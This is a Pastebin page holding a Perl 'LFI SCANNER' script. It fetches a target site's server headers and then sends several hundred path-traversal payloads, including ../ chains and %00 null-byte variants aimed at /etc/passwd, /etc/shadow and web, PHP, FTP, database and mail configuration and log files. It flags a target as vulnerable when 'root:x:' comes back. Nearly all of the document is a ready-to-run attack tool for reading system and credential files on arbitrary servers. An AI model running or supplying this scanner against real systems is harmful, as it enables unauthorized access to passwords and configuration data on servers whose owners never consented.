API tools faq
paste
Alisam_Technology

LFI_SCAN

Alisam_Technology
Aug 30th, 2015
159
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 21.24 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl -w
  2.  
  3. use LWP::UserAgent;
  4. use HTTP::Request;
  5. use Term::ANSIColor;
  6.  
  7. system('clear','cls');
  8.  
  9. print "\t|-------------------------------------------------------|\n";
  10. print "\t|             LFI SCANNER made by admiral               |\n";
  11. print "\t|            Modified by Alisam Technology              |\n";
  12. print "\t|                      30-08-2015                       |\n";
  13. print "\t|-------------------------------------------------------|\n\n";
  14.  
  15. $target = $ARGV[0];
  16. if($target !~ /http:\/\//) { $target = "http://$target"; }
  17.  
  18.  use LWP::Simple qw(head);
  19.  my $url = $target;
  20.  
  21. print "\n=======================================================\n";
  22. print "[:::] CHECKING CONNECTION TO TARGET...\n";
  23. print "=======================================================\n";
  24.  
  25. if (head($url)) {
  26.   print color 'green';
  27.   print "CONNECTED...";
  28. print color 'green', RESET;
  29. } else {
  30.   print color 'red';
  31.   print "Target does not exist\n";
  32.   print color 'red', RESET;
  33.   exit;
  34. }
  35.  
  36. sleep(2);
  37. print "\n=======================================================\n";
  38. print "[:::] CHECKING HTTPD VERSION...\n";
  39. print "=======================================================\n\n";
  40.  
  41. print color 'green';
  42. $host = $target;
  43.  
  44. $useragent = LWP::UserAgent->new;
  45. $resp = $useragent->head($host);
  46. print $resp->headers_as_string;
  47. print color 'green', RESET;
  48.  
  49. sleep(2);
  50. print "\n=======================================================\n";
  51. print "[:::] CHECKING LFI VULNERABILITIES...\n";
  52. print "=======================================================\n";
  53. $sp="    [::]";
  54.  
  55. @vulnerabilities = ('/etc/passwd',
  56. '/etc/shadow',
  57. '/etc/group',
  58. '/etc/security/group',
  59. '/etc/security/passwd',
  60. '/etc/security/user',
  61. '/etc/security/environ',
  62. '/etc/security/limits',
  63. '/usr/lib/security/mkuser.default',
  64. '/apache/logs/access.log',
  65. '/apache/logs/error.log',
  66. '/apache/logs/access.log',
  67. '/apache/logs/error.log',
  68. '/apache/logs/access.log',
  69. '/etc/httpd/logs/acces_log',
  70. '/etc/httpd/logs/acces.log',
  71. '/etc/httpd/logs/error_log',
  72. '/etc/httpd/logs/error.log',
  73. '/var/www/logs/access_log',
  74. '/var/www/logs/access.log',
  75. '/usr/local/apache/logs/access_ log',
  76. '/usr/local/apache/logs/access. log',
  77. '/var/log/apache/access_log',
  78. '/var/log/apache2/access_log',
  79. '/var/log/apache/access.log',
  80. '/var/log/apache2/access.log',
  81. '/var/log/access_log',
  82. '/var/log/access.log',
  83. '/var/www/logs/error_log',
  84. '/var/www/logs/error.log',
  85. '/usr/local/apache/logs/error_log',
  86. '/usr/local/apache/logs/error.log',
  87. '/var/log/apache/error_log',
  88. '/var/log/apache2/error_log',
  89. '/var/log/apache/error.log',
  90. '/var/log/apache2/error.log',
  91. '/var/log/error_log',
  92. '/var/log/error.log',
  93. '/var/log/httpd/access_log',
  94. '/var/log/httpd/error_log',
  95. '/var/log/httpd/access_log',
  96. '/var/log/httpd/error_log',
  97. '/apache/logs/error.log',
  98. '/apache/logs/access.log',
  99. '/apache/logs/error.log',
  100. '/apache/logs/access.log',
  101. '/apache/logs/error.log',
  102. '/apache/logs/access.log',
  103. '/apache/logs/error.log',
  104. '/apache/logs/access.log',
  105. '/apache/logs/error.log',
  106. '/apache/logs/access.log',
  107. '/apache2/logs/error.log',
  108. '/apache2/logs/access.log',
  109. '/apache2/logs/error.log',
  110. '/apache2/logs/access.log',
  111. '/apache2/logs/error.log',
  112. '/apache2/logs/access.log',
  113. '/apache2/logs/error.log',
  114. '/apache2/logs/access.log',
  115. '/apache2/logs/error.log',
  116. '/apache2/logs/access.log',
  117. '/logs/error.log',
  118. '/logs/access.log',
  119. '/logs/error.log',
  120. '/logs/access.log',
  121. '/logs/error.log',
  122. '/logs/access.log',
  123. '/logs/error.log',
  124. '/logs/access.log',
  125. '/logs/error.log',
  126. '/logs/access.log',
  127. '/etc/httpd/logs/acces_log',
  128. '/etc/httpd/logs/acces.log',
  129. '/etc/httpd/logs/error_log',
  130. '/etc/httpd/logs/error.log',
  131. '/usr/local/apache/logs/access_log',
  132. '/usr/local/apache/logs/access.log',
  133. '/usr/local/apache/logs/error_log',
  134. '/usr/local/apache/logs/error.log',
  135. '/usr/local/apache2/logs/access_log',
  136. '/usr/local/apache2/logs/access.log',
  137. '/usr/local/apache2/logs/error_log',
  138. '/usr/local/apache2/logs/error.log',
  139. '/var/www/logs/access_log',
  140. '/var/www/logs/access.log',
  141. '/var/www/logs/error_log',
  142. '/var/www/logs/error.log',
  143. '/var/log/httpd/access_log',
  144. '/var/log/httpd/access.log',
  145. '/var/log/httpd/error_log',
  146. '/var/log/httpd/error.log',
  147. '/var/log/apache/access_log',
  148. '/var/log/apache/access.log',
  149. '/var/log/apache/error_log',
  150. '/var/log/apache/error.log',
  151. '/var/log/apache2/access_log',
  152. '/var/log/apache2/access.log',
  153. '/var/log/apache2/error_log',
  154. '/var/log/apache2/error.log',
  155. '/var/log/access_log',
  156. '/var/log/access.log',
  157. '/var/log/error_log',
  158. '/var/log/error.log',
  159. '/opt/lampp/logs/access_log',
  160. '/opt/lampp/logs/error_log',
  161. '/opt/xampp/logs/access_log',
  162. '/opt/xampp/logs/error_log',
  163. '/opt/lampp/logs/access.log',
  164. '/opt/lampp/logs/error.log',
  165. '/opt/xampp/logs/access.log',
  166. '/opt/xampp/logs/error.log',
  167. '/Program Files\Apache Group\Apache\logs\access.log',
  168. '/Program Files\Apache Group\Apache\logs\error.log',
  169. '/apache/logs/error.log',
  170. '/apache/logs/access.log',
  171. '/apache/logs/error.log',
  172. '/apache/logs/access.log',
  173. '/apache/logs/error.log',
  174. '/apache/logs/access.log',
  175. '/apache/logs/error.log',
  176. '/apache/logs/access.log',
  177. '/apache/logs/error.log',
  178. '/apache/logs/access.log',
  179. '/apache/logs/error.log',
  180. '/apache/logs/access.log',
  181. '/logs/error.log',
  182. '/logs/access.log',
  183. '/logs/error.log',
  184. '/logs/access.log',
  185. '/logs/error.log',
  186. '/logs/access.log',
  187. '/logs/error.log',
  188. '/logs/access.log',
  189. '/logs/error.log',
  190. '/logs/access.log',
  191. '/logs/error.log',
  192. '/logs/access.log',
  193. '/etc/httpd/logs/acces_log',
  194. '/etc/httpd/logs/acces.log',
  195. '/etc/httpd/logs/error_log',
  196. '/etc/httpd/logs/error.log',
  197. '/var/www/logs/access_log',
  198. '/var/www/logs/access.log',
  199. '/usr/local/apache/logs/access_log',
  200. '/usr/local/apache/logs/access.log',
  201. '/var/log/apache/access_log',
  202. '/var/log/apache/access.log',
  203. '/var/log/access_log',
  204. '/var/www/logs/error_log',
  205. '/var/www/logs/error.log',
  206. '/usr/local/apache/logs/error_log',
  207. '/usr/local/apache/logs/error.log',
  208. '/var/log/apache/error_log',
  209. '/var/log/apache/error.log',
  210. '/var/log/access_log',
  211. '/var/log/error_log',
  212. '/usr/local/apache/conf/httpd.conf',
  213. '/usr/local/apache2/conf/httpd.conf',
  214. '/etc/httpd/conf/httpd.conf',
  215. '/etc/apache/conf/httpd.conf',
  216. '/usr/local/etc/apache/conf/httpd.conf',
  217. '/etc/apache2/httpd.conf',
  218. '/usr/local/apache/conf/httpd.conf',
  219. '/usr/local/apache2/conf/httpd.conf',
  220. '/usr/local/apache/httpd.conf',
  221. '/usr/local/apache2/httpd.conf',
  222. '/usr/local/httpd/conf/httpd.conf',
  223. '/usr/local/etc/apache/conf/httpd.conf',
  224. '/usr/local/etc/apache2/conf/httpd.conf',
  225. '/usr/local/etc/httpd/conf/httpd.conf',
  226. '/usr/apache2/conf/httpd.conf',
  227. '/usr/apache/conf/httpd.conf',
  228. '/usr/local/apps/apache2/conf/httpd.conf',
  229. '/usr/local/apps/apache/conf/httpd.conf',
  230. '/etc/apache/conf/httpd.conf',
  231. '/etc/apache2/conf/httpd.conf',
  232. '/etc/httpd/conf/httpd.conf',
  233. '/etc/http/conf/httpd.conf',
  234. '/etc/apache2/httpd.conf',
  235. '/etc/httpd/httpd.conf',
  236. '/etc/http/httpd.conf',
  237. '/etc/httpd.conf',
  238. '/opt/apache/conf/httpd.conf',
  239. '/opt/apache2/conf/httpd.conf',
  240. '/var/www/conf/httpd.conf',
  241. '/private/etc/httpd/httpd.conf',
  242. '/private/etc/httpd/httpd.conf.default',
  243. '/Volumes/webBackup/opt/apache2/conf/httpd.conf',
  244. '/Volumes/webBackup/private/etc/httpd/httpd.conf',
  245. '/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
  246. '/Program Files\Apache Group\Apache\conf\httpd.conf',
  247. '/Program Files\Apache Group\Apache2\conf\httpd.conf',
  248. '/Program Files\xampp\apache\conf\httpd.conf',
  249. '/usr/local/php/httpd.conf.php',
  250. '/usr/local/php4/httpd.conf.php',
  251. '/usr/local/php5/httpd.conf.php',
  252. '/usr/local/php/httpd.conf',
  253. '/usr/local/php4/httpd.conf',
  254. '/usr/local/php5/httpd.conf',
  255. '/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
  256. '/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
  257. '/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
  258. '/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
  259. '/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
  260. '/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
  261. '/usr/local/etc/apache/vhosts.conf',
  262. '/etc/php.ini',
  263. '/bin/php.ini',
  264. '/etc/httpd/php.ini',
  265. '/usr/lib/php.ini',
  266. '/usr/lib/php/php.ini',
  267. '/usr/local/etc/php.ini',
  268. '/usr/local/lib/php.ini',
  269. '/usr/local/php/lib/php.ini',
  270. '/usr/local/php4/lib/php.ini',
  271. '/usr/local/php5/lib/php.ini',
  272. '/usr/local/apache/conf/php.ini',
  273. '/etc/php4.4/fcgi/php.ini',
  274. '/etc/php4/apache/php.ini',
  275. '/etc/php4/apache2/php.ini',
  276. '/etc/php5/apache/php.ini',
  277. '/etc/php5/apache2/php.ini',
  278. '/etc/php/php.ini',
  279. '/etc/php/php4/php.ini',
  280. '/etc/php/apache/php.ini',
  281. '/etc/php/apache2/php.ini',
  282. '/web/conf/php.ini',
  283. '/usr/local/Zend/etc/php.ini',
  284. '/opt/xampp/etc/php.ini',
  285. '/var/local/www/conf/php.ini',
  286. '/etc/php/cgi/php.ini',
  287. '/etc/php4/cgi/php.ini',
  288. '/etc/php5/cgi/php.ini',
  289. '/php5\php.ini',
  290. '/php4\php.ini',
  291. '/php\php.ini',
  292. '/PHP\php.ini',
  293. '/WINDOWS\php.ini',
  294. '/WINNT\php.ini',
  295. '/apache\php\php.ini',
  296. '/xampp\apache\bin\php.ini',
  297. '/NetServer\bin\stable\apache\php.ini',
  298. '/home2\bin\stable\apache\php.ini',
  299. '/home\bin\stable\apache\php.ini',
  300. '/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
  301. '/usr/local/cpanel/logs',
  302. '/usr/local/cpanel/logs/stats_log',
  303. '/usr/local/cpanel/logs/access_log',
  304. '/usr/local/cpanel/logs/error_log',
  305. '/usr/local/cpanel/logs/license_log',
  306. '/usr/local/cpanel/logs/login_log',
  307. '/usr/local/cpanel/logs/stats_log',
  308. '/var/cpanel/cpanel.config',
  309. '/var/log/mysql/mysql-bin.log',
  310. '/var/log/mysql.log',
  311. '/var/log/mysqlderror.log',
  312. '/var/log/mysql/mysql.log',
  313. '/var/log/mysql/mysql-slow.log',
  314. '/var/mysql.log',
  315. '/var/lib/mysql/my.cnf',
  316. '/etc/mysql/my.cnf',
  317. '/etc/my.cnf',
  318. '/etc/logrotate.d/proftpd',
  319. '/www/logs/proftpd.system.log',
  320. '/var/log/proftpd',
  321. '/etc/proftp.conf',
  322. '/etc/protpd/proftpd.conf',
  323. '/etc/vhcs2/proftpd/proftpd.conf',
  324. '/etc/proftpd/modules.conf',
  325. '/var/log/vsftpd.log',
  326. '/etc/vsftpd.chroot_list',
  327. '/etc/logrotate.d/vsftpd.log',
  328. '/etc/vsftpd/vsftpd.conf',
  329. '/etc/vsftpd.conf',
  330. '/etc/chrootUsers',
  331. '/var/log/xferlog',
  332. '/var/adm/log/xferlog',
  333. '/etc/wu-ftpd/ftpaccess',
  334. '/etc/wu-ftpd/ftphosts',
  335. '/etc/wu-ftpd/ftpusers',
  336. '/usr/sbin/pure-config.pl',
  337. '/usr/etc/pure-ftpd.conf',
  338. '/etc/pure-ftpd/pure-ftpd.conf',
  339. '/usr/local/etc/pure-ftpd.conf',
  340. '/usr/local/etc/pureftpd.pdb',
  341. '/usr/local/pureftpd/etc/pureftpd.pdb',
  342. '/usr/local/pureftpd/sbin/pure-config.pl',
  343. '/usr/local/pureftpd/etc/pure-ftpd.conf',
  344. '-/etc/pure-ftpd.conf',
  345. '/etc/pure-ftpd/pure-ftpd.pdb',
  346. '/etc/pureftpd.pdb',
  347. '/etc/pureftpd.passwd',
  348. '/etc/pure-ftpd/pureftpd.pdb',
  349. '/usr/ports/ftp/pure-ftpd/',
  350. '/usr/ports/net/pure-ftpd/',
  351. '/usr/pkgsrc/net/pureftpd/',
  352. '/usr/ports/contrib/pure-ftpd/',
  353. '/var/log/pure-ftpd/pure-ftpd.log',
  354. '/logs/pure-ftpd.log',
  355. '/var/log/pureftpd.log',
  356. '/var/log/ftp-proxy/ftp-proxy.log',
  357. '/var/log/ftp-proxy',
  358. '/var/log/ftplog',
  359. '/etc/logrotate.d/ftp',
  360. '/etc/ftpchroot',
  361. '/etc/ftphosts',
  362. '/var/log/exim_mainlog',
  363. '/var/log/exim/mainlog',
  364. '/var/log/maillog',
  365. '/var/log/exim_paniclog',
  366. '/var/log/exim/paniclog',
  367. '/var/log/exim/rejectlog',
  368. '/var/log/exim_rejectlog',
  369. '../etc/passwd',
  370. '../../etc/passwd',
  371. '../../../etc/passwd',
  372. '../../../../etc/passwd',
  373. '../../../../../etc/passwd',
  374. '../../../../../../etc/passwd',
  375. '../../../../../../../etc/passwd',
  376. '../../../../../../../../etc/passwd',
  377. '../../../../../../../../../etc/passwd',
  378. '../../../../../../../../../../etc/passwd',
  379. '../../../../../../../../../../../etc/passwd',
  380. '../../../../../../../../../../../../etc/passwd',
  381. '../../../../../../../../../../../../../etc/passwd',
  382. '../../../../../../../../../../../../../../etc/passwd',
  383. '../../../../../../../../../../../../../../../..etc/passwd',
  384. '../etc/shadow',
  385. '../../etc/shadow',
  386. '../../../etc/shadow',
  387. '../../../../etc/shadow',
  388. '../../../../../etc/shadow',
  389. '../../../../../../etc/shadow',
  390. '../../../../../../../etc/shadow',
  391. '../../../../../../../../etc/shadow',
  392. '../../../../../../../../../etc/shadow',
  393. '../../../../../../../../../../etc/shadow',
  394. '../../../../../../../../../../../etc/shadow',
  395. '../../../../../../../../../../../../etc/shadow',
  396. '../../../../../../../../../../../../../etc/shadow',
  397. '../../../../../../../../../../../../../../etc/shadow',
  398. '../etc/group',
  399. '../../etc/group',
  400. '../../../etc/group',
  401. '../../../../etc/group',
  402. '../../../../../etc/group',
  403. '../../../../../../etc/group',
  404. '../../../../../../../etc/group',
  405. '../../../../../../../../etc/group',
  406. '../../../../../../../../../etc/group',
  407. '../../../../../../../../../../etc/group',
  408. '../../../../../../../../../../../etc/group',
  409. '../../../../../../../../../../../../etc/group',
  410. '../../../../../../../../../../../../../etc/group',
  411. '../../../../../../../../../../../../../../etc/group',
  412. '../etc/security/group',
  413. '../../etc/security/group',
  414. '../../../etc/security/group',
  415. '../../../../etc/security/group',
  416. '../../../../../etc/security/group',
  417. '../../../../../../etc/security/group',
  418. '../../../../../../../etc/security/group',
  419. '../../../../../../../../etc/security/group',
  420. '../../../../../../../../../etc/security/group',
  421. '../../../../../../../../../../etc/security/group',
  422. '../../../../../../../../../../../etc/security/group',
  423. '../etc/security/passwd',
  424. '../../etc/security/passwd',
  425. '../../../etc/security/passwd',
  426. '../../../../etc/security/passwd',
  427. '../../../../../etc/security/passwd',
  428. '../../../../../../etc/security/passwd',
  429. '../../../../../../../etc/security/passwd',
  430. '../../../../../../../../etc/security/passwd',
  431. '../../../../../../../../../etc/security/passwd',
  432. '../../../../../../../../../../etc/security/passwd',
  433. '../../../../../../../../../../../etc/security/passwd',
  434. '../../../../../../../../../../../../etc/security/passwd',
  435. '../../../../../../../../../../../../../etc/security/passwd',
  436. '../../../../../../../../../../../../../../etc/security/passwd',
  437. '../etc/security/user',
  438. '../../etc/security/user',
  439. '../../../etc/security/user',
  440. '../../../../etc/security/user',
  441. '../../../../../etc/security/user',
  442. '../../../../../../etc/security/user',
  443. '../../../../../../../etc/security/user',
  444. '../../../../../../../../etc/security/user',
  445. '../../../../../../../../../etc/security/user',
  446. '../../../../../../../../../../etc/security/user',
  447. '../../../../../../../../../../../etc/security/user',
  448. '../../../../../../../../../../../../etc/security/user',
  449. '../../../../../../../../../../../../../etc/security/user',
  450. '../../../../../../../../../../../../../../../etc/httpd/logs/acces_log%00',
  451. '../../../../../../../../../../../../../../../etc/httpd/logs/acces.log%00',
  452. '../../../../../../../../../../../../../../../etc/httpd/logs/error_log%00',
  453. '../../../../../../../../../../../../../../../etc/httpd/logs/error.log%00',
  454. '../../../../../../../../../../../../../../../usr/local/apache/logs/access_log%00',
  455. '../../../../../../../../../../../../../../../usr/local/apache/logs/access.log%00',
  456. '../../../../../../../../../../../../../../../usr/local/apache/logs/error_log%00',
  457. '../../../../../../../../../../../../../../../usr/local/apache/logs/error.log%00',
  458. '../../../../../../../../../../../../../../../usr/lib/security/mkuser.default%00',
  459. '../../../../../../../../../../../../../../../usr/local/apache2/logs/access_log%00',
  460. '../../../../../../../../../../../../../../../usr/local/apache2/logs/access.log%00',
  461. '../../../../../../../../../../../../../../../usr/local/apache2/logs/error_log%00',
  462. '../../../../../../../../../../../../../../../usr/local/apache2/logs/error.log%00',
  463. '../../../../../../../../../../../../../../../apache/logs/access.log%00',
  464. '../../../../../../../../../../../../../../../apache/logs/error.log%00',
  465. '../../../../../../../../../../../../../../../apache2/logs/error.log%00',
  466. '../../../../../../../../../../../../../../../apache2/logs/access.log%00',
  467. '../../../../../../../../../../../../../../../var/www/logs/access_log%00',
  468. '../../../../../../../../../../../../../../../var/www/logs/access.log%00',
  469. '../../../../../../../../../../../../../../../var/log/apache/access_log%00',
  470. '../../../../../../../../../../../../../../../var/log/apache2/access_log%00',
  471. '../../../../../../../../../../../../../../../var/log/apache/access.log%00',
  472. '../../../../../../../../../../../../../../../var/log/apache2/access.log%00',
  473. '../../../../../../../../../../../../../../../var/www/logs/error_log%00',
  474. '../../../../../../../../../../../../../../../var/www/logs/error.log%00',
  475. '../../../../../../../../../../../../../../../var/log/access_log%00',
  476. '../../../../../../../../../../../../../../../var/log/access.log%00',
  477. '../../../../../../../../../../../../../../../var/log/apache/error_log%00',
  478. '../../../../../../../../../../../../../../../var/log/apache2/error_log%00',
  479. '../../../../../../../../../../../../../../../var/log/apache/error.log%00',
  480. '../../../../../../../../../../../../../../../var/log/apache2/error.log%00',
  481. '../../../../../../../../../../../../../../../var/log/error_log%00',
  482. '../../../../../../../../../../../../../../../var/log/error.log%00',
  483. '../../../../../../../../../../../../../../../var/log/httpd/access_log%00',
  484. '../../../../../../../../../../../../../../../var/log/httpd/error_log%00',
  485. '../../../../../../../../../../../../../../../var/log/httpd/access.log%00',
  486. '../../../../../../../../../../../../../../../var/log/httpd/error.log%00',
  487. '../../../../../../../../../../../../../../../opt/lampp/logs/access_log%00',
  488. '../../../../../../../../../../../../../../../opt/lampp/logs/error_log%00',
  489. '../../../../../../../../../../../../../../../opt/xampp/logs/access_log%00',
  490. '../../../../../../../../../../../../../../../opt/xampp/logs/error_log%00',
  491. '../../../../../../../../../../../../../../../opt/lampp/logs/access.log%00',
  492. '../../../../../../../../../../../../../../../opt/lampp/logs/error.log%00',
  493. '../../../../../../../../../../../../../../../opt/xampp/logs/access.log%00',
  494. '../../../../../../../../../../../../../../../opt/xampp/logs/error.log%00',
  495. '../../../../../../../../../../../../../../../etc/httpd/logs/acces_log',
  496. '../../../../../../../../../../../../../../../etc/httpd/logs/acces.log',
  497. '../../../../../../../../../../../../../../../etc/httpd/logs/error_log',
  498. '../../../../../../../../../../../../../../../etc/httpd/logs/error.log',
  499. '../../../../../../../../../../../../../../../usr/local/apache/logs/access_log',
  500. '../../../../../../../../../../../../../../../usr/local/apache/logs/access.log',
  501. '../../../../../../../../../../../../../../../usr/local/apache/logs/error_log',
  502. '../../../../../../../../../../../../../../../usr/local/apache/logs/error.log',
  503. '../../../../../../../../../../../../../../../usr/lib/security/mkuser.default',
  504. '../../../../../../../../../../../../../../../usr/local/apache2/logs/access_log',
  505. '../../../../../../../../../../../../../../../usr/local/apache2/logs/access.log',
  506. '../../../../../../../../../../../../../../../usr/local/apache2/logs/error_log',
  507. '../../../../../../../../../../../../../../../usr/local/apache2/logs/error.log',
  508. '../../../../../../../../../../../../../../../apache/logs/access.log',
  509. '../../../../../../../../../../../../../../../apache/logs/error.log',
  510. '../../../../../../../../../../../../../../../apache2/logs/error.log',
  511. '../../../../../../../../../../../../../../../apache2/logs/access.log',
  512. '../../../../../../../../../../../../../../../var/www/logs/access_log',
  513. '../../../../../../../../../../../../../../../var/www/logs/access.log',
  514. '../../../../../../../../../../../../../../../var/log/apache/access_log',
  515. '../../../../../../../../../../../../../../../var/log/apache2/access_log',
  516. '../../../../../../../../../../../../../../../var/log/apache/access.log',
  517. '../../../../../../../../../../../../../../../var/log/apache2/access.log',
  518. '../../../../../../../../../../../../../../../var/www/logs/error_log',
  519. '../../../../../../../../../../../../../../../var/www/logs/error.log',
  520. '../../../../../../../../../../../../../../../var/log/access_log',
  521. '../../../../../../../../../../../../../../../var/log/access.log',
  522. '../../../../../../../../../../../../../../../var/log/apache/error_log',
  523. '../../../../../../../../../../../../../../../var/log/apache2/error_log',
  524. '../../../../../../../../../../../../../../../var/log/apache/error.log',
  525. '../../../../../../../../../../../../../../../var/log/apache2/error.log',
  526. '../../../../../../../../../../../../../../../var/log/error_log',
  527. '../../../../../../../../../../../../../../../var/log/error.log',
  528. '../../../../../../../../../../../../../../../var/log/httpd/access_log',
  529. '../../../../../../../../../../../../../../../var/log/httpd/error_log',
  530. '../../../../../../../../../../../../../../../var/log/httpd/access.log',
  531. '../../../../../../../../../../../../../../../var/log/httpd/error.log',
  532. '../../../../../../../../../../../../../../../opt/lampp/logs/access_log',
  533. '../../../../../../../../../../../../../../../opt/lampp/logs/error_log',
  534. '../../../../../../../../../../../../../../../opt/xampp/logs/access_log',
  535. '../../../../../../../../../../../../../../../opt/xampp/logs/error_log',
  536. '../../../../../../../../../../../../../../../opt/lampp/logs/access.log',
  537. '../../../../../../../../../../../../../../../opt/lampp/logs/error.log',
  538. '../../../../../../../../../../../../../../../opt/xampp/logs/access.log',
  539. '../../../../../../../../../../../../../../../opt/xampp/logs/error.log');
  540.  
  541. sleep(2);
  542. print "\n[::][::] LOADING PAYLOAD....\n";
  543. print "[::][::] SCAN FOR LFI IN PROGRESS...\n\n";
  544.  
  545. foreach $scan(@vulnerabilities){
  546.  
  547. $url = $target.$scan;
  548. $request = HTTP::Request->new(GET=>$url);
  549. $useragent = LWP::UserAgent->new();
  550.  
  551. $response = $useragent->request($request);
  552. if ($response->is_success && $response->content =~ /root:x:/) {
  553.   $msg = Vulnerable;
  554.   print color 'green';
  555.   print "$sp.$scan.....[$msg]\n";
  556.  }else {
  557.   $msg = "Not Vulnerable";
  558.   print color 'red';
  559.   print "$sp.$scan.....[$msg]\n";
  560.  }
  561. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!